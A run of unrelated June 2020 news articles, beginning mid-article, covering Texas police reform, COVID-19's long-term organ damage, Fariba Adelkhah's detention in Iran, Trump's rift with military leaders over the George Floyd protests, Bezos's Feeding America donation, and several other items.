In March, for example, they diverged when he issued an executive order that blocked releases of inmates accused or previously convicted of violent crimes without paying bail, a move some counties were making to reduce jail populations during the pandemic. The Texas Supreme Court ultimately ruled in his favor in a lawsuit over the matter.

Releasing dangerous criminals makes the state even less safe, that also complicates and slows our ability to respond to the disaster, Abbott said at the time.

The fiercest political opposition has tended to come from police unions, including the Combined Law Enforcement Associations of Texas, better known as CLEAT.

Last session, the group fought the measure blocking arrests for class C, low-level misdemeanors because of a concern about taking away officer discretion.

It also opposed a bill written by state Rep. Joe Moody, D-El Paso, that would have made more records regarding in-custody death public. The police union said it was concerned that alleged misconduct would become public before the completion of an investigation.

After a bitter fight, the group declined to meet with Moody and certain other lawmakers.

Theres a philosophical shift that we have to undertake next session, Moody said. Being told that we cant even have a conversation about it, that is a nonstarter. We are going to have a conversation about this.  So while some cop lobbyist in Austin says were not allowed to talk about it, its not his decision to make. Its our decision to make, and we have to get to work on this in a real way.

Balls in our court

The statewide unions executive director, Charley Wilkison, said Thursday that hes willing to have a conversation with anyone who wants to speak in good faith.

If they want to really talk about why all things that are wrong could be fixed, then we were always open to that, but were not open to being tricked, sabotaged, backstabbed and thats exactly what happened, he said. They dont need our help to hurt us.

Wilkison said his reform priorities for next session would be improving professional standards and higher minimum wages for police, which he said he thinks directly correlates with improving police interactions.

While we should talk in broad terms about justice and racism and the issues that are facing us  and thats the reality, thats true  we cant forget the tenets of how were going to get there, Wilkison said.

ALYSSA SCHUKAR, STR / NYT

Sen. John Whitmire, chair of the Senate Criminal Justice Committee, said when it comes to the Sandra Bland Act additions, he is reminded of how it took him almost three sessions to pass his 2017 bill decriminalizing truancy.

My experience has taught me that sometimes it takes more than one session to successfully complete passage of a piece of legislation, Whitmire said. The horror of watching this strangulation for nine minutes is just imprinted in all of our consciences, and I dont think itll be removed any time in our lifetime.

Now the balls in our court.

taylor.goldenstein@chron.com
Phawaree Udomkusolsri was thrilled to get the keys to open her first restaurant  even though it happened the morning the Bay Areas shelter-in-place order was announced.

Quickly, she realized her initial vision wasnt going to work. After some retooling, she quietly opened Le Moon Thai Eatery last month in Cow Hollow with plenty of familiar Thai staples, including tom yum soup, pad kee mao and several curries.

I feel bad, said Udomkusolsri, who moved to the Bay Area from Thailand about 10 years ago. Theres nothing wrong with typical Thai food, but its not my original idea.

Udomkusolsri was inspired to create a sit-down Thai restaurant equivalent of U:Dessert Story, an Asian dessert cafe with multiple Bay Area locations thats especially popular on Instagram for its elaborate presentations. Udomkusolsri loved how servers had to explain how to eat the desserts, whether it involved a pouring of matcha syrup on waffles or spooning toppings on Korean shaved ice.

At Le Moon Thai Eatery, she imagined serving deconstructed Thai dishes. For a simple pad Thai, for example, shed place the noodles, sauce, eggs, shrimp and tofu all separately before telling diners to mix everything together. She hoped itd create a more fun, social experience.

People look at Thai food in a cheap way  just go grab takeout, its cheap and easy, she said. One dish of Thai food contains a lot of ingredients and costs a lot to make, so I need to lift it up, make it look pretty.

Le Moon Thai Eatery

Udomkusolsri isnt able to do that yet, since dining in isnt allowed yet at San Francisco restaurants. Despite her disappointment about that, the restaurant still offers dishes that are unusual in San Francisco. That includes an appetizer of cubed watermelon topped with sweet, salty and crispy bits of trout and shallots ($8), and miang dok-mai ($13), a mix of roasted coconut, ginger, peanuts, dried shrimp and chili served in heart-shaped leaves. (You might be familiar with versions of both dishes at Nari.)

She calls the restaurant alternative Thai because some of the ingredients are specifically nontraditional. Theres a larb salad with seared ahi tuna and avocado ($15), for example, and the massaman curry ($16) comes with croissants.

Food Guide Top 25 Restaurants Where to eat in the Bay Area. Find spots near you, create a dining wishlist, and more.

Udomkusolsri doesnt have a restaurant background, apart from a stint at U:Dessert Story. Instead, her interest in food stemmed from her parents sending her to study in the U.S. at a young age.

I had to learn how to cook to survive, she said.

Le Moon Thai Eatery. 5-9 p.m. Wednesday-Monday; hours subject to change during protests. 2380 Lombard St., San Francisco. 415-922-1599 or http://www.lemoonthai.com

Janelle Bitker is a San Francisco Chronicle staff writer. Email: janelle.bitker@sfchronicle.com Twitter: @janellebitker
Housing charities are warning a sudden lifting of the rent freeze may cause a spike in the number of people homeless.

Latest figures from the Government for April show 9,335 people accessed emergency accommodation, including more than 3,000 children.

This is a reduction of 572 on the previous month.

However, the figures exclude rough sleepers, people in direct provision centres and those in women's refuges.

There is a temporary freeze on rents and a ban on evictions until later this month due to the Covid-19 pandemic.

Dermot Murphy, from De Paul, says every effort needs to be made to ensure the figures don't rise again.

Mr Murphy said: "Any potential return to the way things were prior and the potential for any increase in homelessness post Covid-19, I think what we are saying is that the right measures that have been implemented with things like the rent freeze should continue for a longer period of time to ensure that we don;t see an increase in homeless figures going forward."

Inner City Helping Homless CEO Anthony Flynn said his group has also seen a big reduction in new presentations which in his opinion, shows people would stay with family or friends during the pandemic and subsequent lockdown rather than register as homeless and enter emergency accommodation.

Mr Flynn said The reduction in the number of people in emergency accommodation is welcomed and proves that a ban on evictions within the state works as we have seen numbers drop for two consecutive months.

"But we must be tentative in lifting this ban this year as it will see an avalanche of evictions. Many who have lost jobs through the Covid19 pandemic will face evictions and the system will not cope.

"Moving people to short-term holiday lets will also mean many will move back into homelessness when the tourist industry rebuilds. We have a prime opportunity to change the narrative regarding homelessness and we must continue on that footing and not revert to old ways.
BEIJING, June 4 (Xinhua) -- As Chinese students are going back to schools after a class suspension due to the COVID-19 outbreak, parents are saying that they are paying close attention to the containment measures at the campus.

According to a survey published in Thursday's edition of China Youth Daily, over 97 percent of the 2,468 parents polled said they are keeping a close eye on whether such measures are soundly conducted.

About 72 percent of the parents said they have to make sure schools are carrying out anti-virus precautions in a scientific and prudent manner, and more than 70 percent of them said they are worried about the growing risk of infection coming along with increased personnel flows at schools.

Over 52 percent of the parents underlined proper disinfection in public areas such as school canteens.

The parents cited health condition monitoring, professional sterilization, personnel management and sufficient reserve of containment materials necessary to effectively prevent the disease.

About 73 percent of the parents said schools need to ensure a reasonable distance between desks and good ventilation in classrooms.

Over half of the parents surveyed also suggested the schools practice some drills in advance or prepare effective emergency response plans against possible health risks.

Shi Longwei, an associate professor of education at the Chongqing-based Southwest University, suggested the schools open a hotline for the parents to keep them timely informed of the campus anti-virus work and the students' physical and mental health conditions to better reassure the parents.
The Transportation Department said it will let Chinese passenger airlines fly a total of two round-trip flights per week between the U.S. and China. Read more

The Trump administration said Friday it will let Chinese airlines operate a limited number of flights to the U.S., backing down from a threat to ban the flights.

The decision comes one day after China agreed to ease its own anti-coronavirus restrictions and allow more flights by foreign airlines. The restrictions had blocked U.S. carriers United and Delta from resuming flights between the U.S. and China.

The Transportation Department said it will let Chinese passenger airlines fly a total of two round-trip flights per week between the U.S. and China, which it said would equal the number of flights China's aviation authority will allow for U.S. carriers.

On Wednesday, the U.S. said it would prohibit all flights by Chinese airlines to and from the U.S. no later than June 16. That marked an escalation of trade and diplomatic tension between the two countries.

Four Chinese airlines currently fly between the U.S. and China.

United Airlines, Delta Air Lines and American Airlines suspended competing flights early this year as demand plummeted in the face of the coronavirus pandemic. United and Delta had petitioned China to resume flights this month. American does not plan to return to China before October.
TACOMA, Wash., June 5, 2020 /PRNewswire/ -- Toray Composite Materials America, Inc. (CMA) is announcing a realignment of US operations and a corresponding reduction in headcount to better position for an extended downturn in its commercial business streams.

CMA will immediately suspend operations in its Spartanburg, SC plant and significantly reduce capacity in its Tacoma, WA prepreg facility. These actions will result in a reduction of roughly 25% of the workforce across CMAs facilities in the United States.

"Decisions that directly impact our associates and their livelihood are never ones that we take casually," said Dennis Frett  President and CEO. "But, these actions are absolutely necessary to reduce our costs and position the company for the future," said Frett.

Due to COVID-19 and the corresponding collapse of global air travel, demand for passenger aircraft has been significantly reduced. Furthermore, global macro-economic conditions are reducing the demand for industrial products. "Considering industry analysts and recent actions by other aerospace companies, we see a three-to-five-year timeline until we return to a sales volume that resembles anything pre-pandemic," says Timothy Kirk  Vice President of Aerospace Sales.

These urgent actions will enable CMA to reduce its costs to partially mitigate the immediate downturn in business. Additionally, CMA will enhance its cooperation with business units in the United States to better meet customer expectations and adapt to a changing market.

For more information on CMA, visit www.toraycma.com.

SOURCE Toray Composite Materials America, Inc.

Related Links

http://www.toraycma.com


Six months into the Covid-19 pandemic, and with more than 380,000 people dead, the picture we have of Sars-CoV-2 remains opaque and unclear. Thousands of papers and reports have flooded the academic sphere during this period, as scientists have rushed to understand the virus, which, according to the journal Science, acts like no pathogen humanity has ever seen.

As governments have scrambled to stabilise the spread of Covid-19 within their countries, enforcing far-reaching mitigation measures that have overhauled the normalities of day-to-day life, our perception of this deadly disease has slowly shifted and changed.

What initially appeared to be a predictable respiratory infection, similar to Sars or Avian flu, Sars-CoV-2 is now known to affect the lungs, brain, eyes, nose, heart, blood vessels, livers, kidneys and intestines  virtually every organ in the human body.

The studies that have been conducted into Covid-19 present a vast array of symptoms and long-term effects among those who suffered severe infections: scarring of lung tissue; kidney failure; inflammation of the heart muscle and arrhythmias; liver damage; cognitive impairment; psychosis mood disorder, and much more.

What this means for the long-term health implications of patients has yet to be fully established, but the growing evidence suggests that even those who suffered from a mild case of Covid-19 may go on to struggle with issues long after the virus has left their bodies.

What we have been seeing in hospitals is the tip of the iceberg, Professor Roberto Pedretti, head of cardiology at the Clinical Scientific Institute in Pavia, Italy, told Good Health.

Our focus at the moment is treating patients at the acute stage to help them recover from Covid-19. But we also need to consider the future health impacts of the virus.

Lungs

A March report from China showed that of 70 patients who survived Covid-19 pneumonia, 66 had developed some form of lung damage that was visible in CT scans.

The damage ranged from the formation of blood vessel blockages within the lungs alveoli, which absorb oxygen, to scarring of lung tissue, researchers at Huazhong University of Science and Technology in Wuhan found. This scarring or thickening of lung tissue  known as pulmonary fibrosis  can lead to increased breathlessness among sufferers. There is currently no treatment that can stop or reverse this condition.

In a separate Wuhan study, researchers analysed the CT scans of 81 patients with Covid-19 and found signs of fibrosis even in those who had had no symptoms. Writing in the journal Lancet Infectious Diseases last April, scientists said it was unclear if these lung changes were irreversible.

Louise Wain, the GSK/British Lung Foundation chair in respiratory research and a professor at the University of Leicester, said that research was being done to ascertain how this type of fibrosis will develop in Covid-19 patients who developed severe symptoms and were forced onto ventilators.

Fibrosis can resolve; it can remain stable and doesnt change over time, she told The Independent. In some people it might have some effect but it could be quite negligible. They may not quite recover their full [lung] capacity but find it doesnt have a massive detrimental affect.

But there is also fibrosis that can progress. Thats the fibrosis that is really dangerous as thats the one that is likely to kill people some time down the line. Those are the people we need to be looking out for. We cant reserve fibrosis, but there are drugs that can slow it down.

Separately, newly-released papers by the UK governments Scientific Advisory Group on Emergencies (Sage) have highlighted concern among British academics that the virus may cause extreme tiredness and shortness of breath for several months in patients.

SARS and its affect on the lungs A 15-year follow-up study into Sars, a pathogen from the same coronavirus family as Covid-19, showed 10 out of 46 survivors still had reduced lung capacity after three years. Nearly 40 per cent of people experienced a permanent dysfunction involving the transfer of oxygen and carbon dioxide between the lung and the blood.

Minutes from a meeting on 7 May, attended by 50 people, including Sir Patrick Vallance and Professor Chris Whitty, state: Sage also noted the existence of longer-term health sequelae (such as the persistence of extreme tiredness and shortness of breath for several months) and the importance of monitoring these impacts through longer-term cohort studies.

Even before the UK had even gone into lockdown, the countrys Faculty of Intensive Care Medicine (FICM), a professional body responsible for training intensive care doctors, said some people who are struck down with severe cases of Covid-19 could be left with lung damage that takes as many as 15 years to heal.

The FICM highlighted that many admitted to intensive care have developed a condition called acute respiratory distress syndrome (ARDS)  a powerful inflammatory response across the lungs that causes fluids to leak from blood vessels into the alveoli, making breathing impossible without medical assistance.

A similar message of concern has been raised by the chairman of the Dutch Association of Physicians in Chest Medicine and Tuberculosis, who has warned that thousands of recovered Covid-19 patients in the Netherlands may be left with permanent damage to their lungs.

Heart and blood vessels

A paper published in JAMA Cardiology last March documented heart damage in nearly 20 per cent of 416 hospitalised patients in Wuhan. Another study from the city showed that 44 per cent of 36 patients admitted to intensive care had arrhythmias (irregular heart rhythm).

These issues are thought to be linked to the bodys cytokine storm response, a hyper-inflammatory condition caused by an overactive immune system, seen among some coronavirus patients.

Studies suggest this can lead to the inflammation of the heart muscle (myocarditis), which may affect the organs electrical system  thereby producing abnormal heart beats  as well as its ability to effectively pump blood around the body, resulting in breathlessness.

Cardiovascular complications are not unique to Covid-19. Many viral infections can cause myocarditis. Although most people recover from the condition with time, some do experience permanent damage to the heart muscle.

A patient is treated in an intensive care unit at a hospital in Rome (Getty Images)

Yuchi Han, an associate professor of medicine and radiology and director of cardiac MRI at the Perelman Centre for Advanced Medicine at the University of Pennsylvania, said that those with heart and vascular conditions were likely to suffer from greater damage as a result of their Covid-19 infection.

However, he warned that those without heart problems were not invulnerable. The inflammation that occurs in the heart is not limited to people who have heart or vascular disease and could occur in anyone, Dr Han told the Daily Mail. However, we dont yet know why in people who do not have risk factors some experience severe disease and others dont.

Disruption from Covid-19 also seems to extend to the blood itself. Among 184 Covid-19 patients in a Dutch ICU, 38 per cent had blood that clotted abnormally, and almost one-third already had clots, according to an April paper published in Thrombosis Research.

Kidneys

Although the lung appears to be the primary target zone for the virus, evidence suggests that Sars-CoV-2 is also targeting the kidneys in some patients.

According to research in Wuhan, 27 per cent of 85 hospitalised patients had kidney failure. A separate study found that 59 per cent of almost 200 hospitalised Covid-19 patients in Chinas Hubei and Sichuan provinces had protein in their urine, and 44 per cent had blood; both indicators of kidney damage.

Those with acute kidney injury (AKI), were more than five times as likely to die as Covid-19 patients without it, the same paper reported.

If these folks are not dying of lung failure, theyre dying of renal failure, Jennifer Frontera, of New York Universitys Langone Medical Center, told Science in April.

Brain

In a study of 214 Covid-19 patients, one-third experienced neurological symptoms, including dizziness, headache, and cognitive impairment.

At this stage, it is unclear what is driving these symptoms. Theories centre around the virus impact on the bodys neurons  the loss of smell and taste that some people have reported point to the pathogens affect on these nerve cells  the inflammatory immune response, and the oxygen deprivation that has been recorded in patients.

Cognitive impairments could be also associated with a stay in ICU, sometimes called ICU delirium. The condition, which can trigger hallucinations and paranoia, occurs more frequently among hospitalised elderly patients. Although most symptoms subside over time, some do not. Scientists have suggested that variables such as age, comorbidities and disease severity could influence Covid-19 patients cognitive recovery.

Professor Ed Bullmore, a neuroscientist at Cambridge University, told The Independent there was enough evidence now to describe the Sars-CoV-2 virus as causing a neurotoxic illness, adding that it was possible the psychiatric effects could last beyond a decade.

He said research had shown that a number of Covid-19 patients experienced a kind of altered mental state, adding that this included cases of psychosis mood disorder and cognitive impairment.

We dont know necessarily the causes of that neurotoxicity, he said. It could be that the virus infects the brain; it could be that the immune response to the virus damages the brain, or it could be the blood supply to the brain. All those mechanisms look plausible at the moment.
French-Iranian academic Fariba Adelkhah on Friday marked one year of incarceration in Iran, in a case that has intensified tensions between Paris and Tehran and angered supporters who fear she is the victim of a political battle of wills. Adelkhah, a prominent anthropologist specialising in Shia Islam, was arrested on June 5, 2019, and has been held behind bars ever since. Last month she was ordered to serve five years in prison after being convicted on national security charges, in a verdict slammed by Paris as "political". She is one of several foreigners and dual nationals being held by Iran in what activists condemn as a policy of hostage-taking aimed at pressuring the West. Born in Iran in 1959 but living in France since 1977, Adelkhah has maintained her innocence, and colleagues and other supporters have rubbished the charges against her. She went on a 49-day hunger strike to protest her conditions. The anniversary of her detention is to be marked by a series of events around the world, many held virtually because of the coronavirus outbreak, with her portrait displayed by Paris Mayor Anne Hidalgo on the facade of the French capital's city hall. "Fariba Adelkhah is a hostage of the Iranian government," Iranian Nobel Peace Prize laureate and rights lawyer Shirin Ebadi, who now lives in exile, said in a video message to mark the anniversary. "The Tehran government uses dual nationals by taking them hostage and using them to achieve its own political agenda," she said. French President Emmanuel Macron on Friday called Adelkhah's continued imprisonment "unacceptable." "My message to the Iranian authorities: justice demands that our compatriot be released immediately," he posted on Twitter. - 'Settling of scores' - Adelkhah was arrested with her partner Roland Marchal, a fellow academic at the Sciences Po university in Paris specialising in Africa. Marchal was freed and returned to France in March after France released Iranian engineer Jallal Rohollahnejad, who risked extradition to the United States on accusations of violating sanctions. Michael White, an American held in Iran for nearly two years, returned home this week after Iranian scientist Cyrus Asgari, who had been held in the United States, was allowed to go home. Another Iranian scientist detained in the US, Majid Taheri, was also released at the same time, Tehran said. In December, Iran also freed US academic Xiyue Wang in exchange for scientist Massoud Soleimani, and said it was open to further swaps. Such deals have made Adelkhah's supporters fear that Iran will be looking for something in return for her liberation. Her support group of fellow academics believe that she was arrested because of an "internal settling of scores" or to "obtain the release of Iranians detained in Europe or in the United States." Tehran, meanwhile, has also accused the United States of holding its nationals for political reasons. Further complicating the situation is that such arrests of foreigners and dual nationals is carried out by the powerful Revolutionary Guards rather than the Iranian government. "It goes beyond the governments, since on the Iranian side it is not the Iranian government who is primarily responsible for this affair. It is the Revolutionary Guards supported by the judicial authorities," Francois Nicoullaud, a former French ambassador to Tehran, told AFP. - 'Horrifying thought' - Despite the releases, as well as concerns about the spread of COVID-19 in Iranian prisons, Adelkhah is not the only prominent foreigner or dual national still in prison in Iran. Iranian-American businessman Siamak Namazi has been held for almost half a decade, while British-Iranian Nazanin Zaghari-Ratcliffe, who was arrested in April 2016, is still unable to leave the country despite being allowed out of jail on a furlough. British-Australian Kylie Moore-Gilbert is serving a 10-year sentence on charges of espionage. Her family last month rejected reports that she had attempted suicide in jail, saying she was is in good health "considering her situation." Hadi Ghaemi, executive director of the New York-based Center for Human Rights in Iran (CHRI), said the Iranian authorities responsible for keeping the prisoners behind bars see their detentions as "transactional," and want something in return for their release. "This is a horrifying thought. It is very unfortunate that innocent lives like Fariba's are being put on the line for such transactions," he told AFP. Fariba Adelkhah, an anthropologist specialising in Shia Islam, was arrested in Iran on June 5, 2019.
Secretary of State Mike Pompeo stressed the need for Libyas warring parties to cease hostilities during a phone call with Abu Dhabi Crown Prince Mohammed bin Zayed, the deputy supreme commander of the United Arab Emirates Armed Forces, which backs Libyan warlord Khalifa Hifter.

The secretary and the crown prince discussed regional and bilateral issues of concern, including agreeing on the need for a cease-fire in Libya and return to UN-led political negotiations, State Department spokesperson Morgan Ortagus said in a statement. The secretary also thanked the crown prince for his strong partnership with the United States in combatting the global COVID-19 pandemic.

Why it matters: A leaked United Nations report confirmed that the UAE has run a covert air bridge to supply weapons to Hifters forces in their assault on Tripoli, the seat of the UN-back government headed by Prime Minister Fayez al-Sarraj, Bloomberg reported in May.

Still, the UAE's ambassador to the United States, Yousef Al Otaiba, said that the UAE supports a diplomatic solution to the conflict in a podcast interview with Al-Monitor this week, calling for a nationwide cease-fire.

I dont believe that has held even though some parties have declared that they are sticking to the cease-fire, Otaiba told Al-Monitor. Unfortunately we have seen the flow of extremist mercenaries being flown in from outside.

Turkey has intervened with on behalf of Sarrajs government in Tripoli, going so far as to fly in Syrian rebels to fight alongside Libyas UN-backed government. Otabia did not address the UAEs role in supplying arms to Hifter.

Whats next: We think the next steps for the two sides, Khalifa Hifters side and Sarrajs side, is to sit down in the five-plus-five talks and figure out a way forward, said Otaiba. I dont know if thats going to happen imminently or not.

Know more: Listen to Al-Monitor's president Andrew Parasilitis full interview with Otaiba on his new podcast, On the Middle East.
Current and former Pentagon officials break with embattled US president over crackdown on Floyd protesters.

A rare public rift has opened between United States President Donald Trump and senior military leaders over Trumps threats to use troops against protesters as the US braces for another day of unrest and mourning following the death of George Floyd.

Secretary of Defense Mark Esper broke publicly with Trump on Wednesday in an appearance at the Pentagon and said active-duty military troops should not be used to quell the protests. Other military leaders soon followed.

The option to use active-duty forces in a law enforcement role should only be used as a matter of last resort and only in the most urgent and dire situations, Esper said.

General Mark Milley, the top US commander, later the same day issued a memo to military leaders reminding them of their oaths to protect the US Constitution and the right to freedom of speech and peaceful assembly.

The rare disagreement between a president and his generals comes at a time when Trump is facing plummeting public support for his handling of the simultaneous crises of the coronavirus pandemic, crushing unemployment and mayhem in the streets. Trump met with his top campaign advisers at the White House on Thursday after polls released on Wednesday evening suggested his prospects for re-election are tumbling, the Reuters news service reported.

Trumps aggressive use of federal law enforcement in Washington, DC  and his threats to call in combat troops against protesters in cities across the nation  have alarmed even some Republican leaders and politicians who had been supporters of the president.

Trumps former Trump defence secretary, General James Mattis, chimed in with a strongly worded statement criticising Trump directly for his divisive rhetoric during the protests.

Militarizing our response, as we witnessed in Washington, DC, sets up a conflict  a false conflict between the military and civilian society, Mattis said.

Senator Lisa Murkowski, a Republican, told reporters at the US Capitol on Thursday that Mattiss public letter rang true for her and she now is unsure whether to support Trumps re-election.

I thought General Mattiss words were true and honest and necessary and overdue and I have been struggling for the right words, Murkowski said. Perhaps were getting to the point where we can be more honest with the concerns that we might hold internally and have the courage of our own convictions to speak up.

The US Park Police said it has placed two officers on administrative leave after two journalists were attacked [Jacquelyn Martin/AP]

In remarks to the nation on June 1, Trump positioned himself as the president of law and order and promised to dispatch thousands and thousands of heavily armed soldiers, military personnel and law enforcement officers to cities across the US.

Trump sparked outrage after the speech when federal officers forcibly cleared peaceful protesters from a public park near the White House so he could walk to a nearby church for a photo opportunity.

Retired General Martin Dempsey, a former top US commander, criticised Trump in a radio interview set to air on Friday.

The idea that the military would be called in to suppress what for the most part were peaceful protests is very dangerous, Dempsey said.

Irked by Espers comments, Trump called the defence secretary to a meeting at the White House late on Wednesday and confronted him about their disagreement, Bloomberg reported.

The president questioned senior White House aides about whether they thought Esper could continue to be effective in his job, according to the report.

Riot police detaining a man as they rush protestors to clear Lafayette Park and the area around it across from the White House for President Donald Trump to be able to walk through for a photo opportunity in front of St Johns Episcopal Church [Ken Cedeno/Reuters]

Firing the secretary of defence would come with a political price, and while Trump may be unhappy with Esper undercutting his hardline stance on the potential use of troops, some Republicans in Congress sided with Esper instead of the president.

Hes doing a good job, Senator Lindsey Graham, a Republican ally of Trump, told reporters at the Capitol, according to Politico.

Theres no reason to let him go. Thats all just a bunch of chatter. I have confidence in Secretary Esper, Graham said.

He should be allowed to express his opinion and his advice should be heeded, said Senator Shelley Moore Capito, a Republican.

I hope he would stay on. I like him. Weve got enough vacancies, she said.

Kevin McCarthy, the top Republican in the House of Representatives, defended Trump and pointed out to reporters on a conference call on Thursday that the presidents authority to use military force against violent protests has been used repeatedly by other presidents.





Since World War II, US presidents have used their authority to deploy the military to put down riots six times, most recently in Los Angeles in 1992.

From the presidents point of view, he is going to protect our citizens and protect the nation and he has the right to do it, McCarthy told reporters.

Democrats in Congress were less charitable.

What is President Trump doing to this democracy? To the rule of law, the primacy of the Constitution? Senate Minority Leader Chuck Schumer, a Democrat, said in remarks to the Senate.
To Amazon CEO Jeff Bezos, $100 million is pocket change. (It's roughly .07% of his $148.6 billion fortune, which is the equivalent of 7 cents out of a $100 bill).

But to Feeding America, the $100 million donation Bezos announced in April was the largest single gift in the hunger relief non-profit's history.

So what is it like to get a nine-figure donation from the richest person in the world? Just ask Feeding America CEO Claire Babineaux-Fontenot.

First "I received an email from someone who said that they'd like to talk," Babineaux-Fontenot, tells CNBC Make It. The email was from someone who works very closely with Bezos, Babineaux-Fontenot says, but she declines to name who.

When the two spoke on the phone, the associate said that Bezos understood the pandemic was having "significant implications on hunger in the country and that he really wanted to be helpful," Banineaux-Fontenot says.

"We proceeded to have a conversation about how he wanted to help and have an honest discussion about whether or not Feeding America and our network was well positioned to be able to provide for the help," she says.

After that preliminary conversation, Babineaux-Fontenot felt optimistic.

She was alone in her home office in the Dallas suburbs (the Feeding America team has been working from home since mid-March) and remembers thinking, "Oh my goodness, I think he intends to make the type of contribution that can really be transformational for the work going on right now among members of our network, and then always, and I mean always, for people facing hunger."

Babineaux-Fontenot contacted leaders in Feeding America's network "that same night" to ensure that the organization could responsibly manage such a gift.

"We got to the point where we all collectively felt that that we could in fact" deliver on Bezos' wish, "which was to get food into communities in a short window of time, as quickly as possible, to get food into communities so that people could be fed," she says.

Though Babineaux-Fontenot declined to give any other details regarding Bezos' donation, Bezos himself gave some insight into how he thinks about philanthropy in 2017 while soliciting ideas from the public.

"I'm thinking about a philanthropy strategy that is the opposite of how I mostly spend my time [with Amazon]  working on the long-term," Bezos wrote in a tweet. "For my philanthropy, I find I'm drawn to the other end of the spectrum: the right now."

Bezos philanthropy tweet

(Bezos had long been criticized for a lack of philanthropy in relation to the scope of his wealth, but after the call for ideas started the $2 billion Day One Fund in 2018 and he announced a $10 billion donation to support climate change relief in February.)

Though Amazon had no further comment, feeding the hungry, certainly, is a "right now" problem.

Before the pandemic, Feeding America was already providing meals to more than 40 million people each year through its network of 200 food banks and 60,000 food pantries and meal programs. (As a charity, Feeding America scores an overall 94.28 out of 100, according to Charitynavigator.org, and it gets particularly high marks  97 out of 100  for accountability and transparency.)

Then when the coronavirus pandemic hit and crippled the labor market, "it's fair to say that we struggled to keep up with the demand," Babineaux-Fontenot says.

"We had a precipitous increase in demand [for food donations] while at the same time having a precipitous decrease in supply," she says. That was compounded by "a meaningful decrease in our workforce that would normally" distribute the food as well as "a challenge around the delivery model" due to social distancing requirements.

"We had some food banks saying that if they didn't get help in the next two to four weeks, they were not going to be able to continue, so that was in the back of my mind" when discussing the donation, Babineaux-Fontenot says.

"The stakes are so high in what we do."

By late March, according to an internal Feeding America survey, 41% of its food banks reported a critical funding shortfall.

Then came Bezos' donation, which was announced publicly April 2.

Within days of the money being deposited, Feeding America had dispersed it among all the food banks within its network, and "within weeks" it was being used in a variety of ways, including to buy food and household items for those in need, to pay for fuel to drive pantry donations, to buy warehouse equipment and to buy protective equipment for staff, volunteers and those receiving food.

Since then, things have improved. By May, only 7% of Feeding America's bood banks still had critical funding issues. (And on Friday, the federal government reported the unemployment rate has started to fall, but is still at an astonishing 13.3%.)

Through May 27, the total amount of money deployed by Feeding America as part of its coronavirus pandemic relief efforts was $169 million, according to a spokesperson.

Another boon for Feeding America amid the pandemic has been the All In Challenge, a fundraising effort that has 483 celebrities and athletes from Mark Cuban to Tom Brady participating in auctions and sweepstakes to raise money for a number of hunger-relief organizations. As of Friday, the challenge has raised more than $56 million from more than 1 million individual donations. So far $40 million has been dispersed evenly among Feeding America, No Kid Hungry, Meals on Wheels and World Central Kitchen, according to a spokesperson for Fanatics, a sportswear retailer, which created the challenge.
Leipzig striker Timo Werner could be on his way to the Premier League. AFP/Ina FASSBENDER

The 24-year-old had been thought to to be attracting interest from Premier League champions-elect Liverpool but it appears Chelsea have in fact met the German's reported release clause of some 53 million (US$67 million).

Were Chelsea to bring Werner to Stamford Bridge it would be a major feather in the cap for the west London club.

For the past year there has been speculation linking Werner with a move to Anfield but time appears to be running out for the Reds, with the forward's release clause expiring on Jun 15 - two days before the Premier League is set to restart after a coronavirus-enforced break of several months.

The Germany international has scored 31 goals for Leipzig in all competitions.

Chelsea have already agreed a deal to sign Ajax winger Hakim Ziyech.
Three men, including retired police officer and his son, charged over fatal shooting of Black jogger in state of Georgia in February.

A judge in the US state of Georgia has ruled that three men charged with the murder of a Black man will go on trial.

Ahmaud Arbery was chased and shot several times by a retired white police officer and his son in February.

But they were only charged in May after a video of the shooting in Brunswick led to nationwide protests.

Al Jazeeras Andy Gallacher reports.
WASHINGTON (Reuters) - The mayor of Washington on Thursday called for the withdrawal from the U.S. capital of military units sent from outside the city as demonstrators gathered for a seventh day of protests against police brutality and racism. 'We want troops from out of state out of Washington D.C.,' Mayor Muriel Bowser told a news conference.

WASHINGTON (Reuters) - The mayor of Washington on Thursday called for the withdrawal from the U.S. capital of military units sent from outside the city as demonstrators gathered for a seventh day of protests against police brutality and racism.

"We want troops from out of state out of Washington D.C.," Mayor Muriel Bowser told a news conference.

The U.S. capital has seen a week of protests over the death of George Floyd, a black Minneapolis man who died after a white police officer knelt on his neck. The incident triggered countrywide demonstrations against police brutality and racism.

Shops and offices in the city center and nearby areas were hit by nighttime vandalism and looting after peaceful protests last weekend, prompting a curfew.

The demonstrations mostly have been peaceful since, although officers from federal agencies and thousands of National Guard troops from other states have been deployed or are on their way to the city. Some 1,600 active duty forces sent from North Carolina and New York are on standby in the area.

Bowser said she had authorized the deployment of D.C. National Guard units as part of her response to the coronavirus pandemic, but did not request other military units.

The city's police chief, Peter Newsham, asked "federal partners" to help with traffic, she said. "There are other federal assets we did not request that we understand are under the direction" of U.S. Attorney General William Barr.

Her government, she said, was "very concerned" by large numbers of troops deployed on Wednesday beyond Lafayette Park, opposite the White House, and worked with federal authorities to withdraw them.

Bowser, a Democrat, has fiercely criticized Republican President Donald Trump for his response to the protests.

Newsham said 427 people had been arrested between Sunday and Tuesday, but Wednesday saw no arrests.

(Reporting by Jonathan Landay; additional reporting by Idrees Ali and Tim Ahman; Editing by Chizu Nomiyama)

This story has not been edited by Firstpost staff and is generated by auto-feed.
Hundreds of children, teens and adults used markers, paper and paint to spread a message that they do not tolerate hate.

Some brought paper hearts prewritten with messages like Black Lives Matter and I cant breathe, the last words said by George Floyd, to hang on the wooden boards covering spots where windows had been smashed.

Others made their own heart-shaped notes with personal messages using supplies provided by a Naperville school teacher at the corner of Jefferson Avenue and Webster Street, where some of the artwork was displayed.

In addition to hearts, volunteers painted colorful messages of peace and justice on the windows of boarded-up businesses, damaged Monday night by vandals and looters who attacked the downtown district following a rally to protest the police abuse that resulted in Floyds death in Minneapolis last week.

Emily McDonald, owner of Art Bar 39 Illinois in Aurora, helped decorate boarded-up windows in Aurora after a similar violent outbreak there. She was asked to help bring color to some of the drab plywood in Naperville.

In Aurora, artists showed up to produce the paintings, McDonald said. But in Naperville, these are just people on Facebook that came and said I dont know how to paint, but Id love to help, she said of the 75 volunteer painters.

The idea to flood the city with hearts came from a group of recent Naperville North High School graduates who were outraged by a video posted by 365 Things to Do in Naperville, Illinois. In it, a man is seen berating teenagers for hanging heart messages on the plywood at the Apple store on Jefferson Avenue.

This is a good city. You want to ruin it, the man shouts as a woman is seen ripping down the hearts.

Many of the people who flocked to the central business district said they did so in response to the video.

The video had generated nearly 300,000 views and more than 3,000 shares.

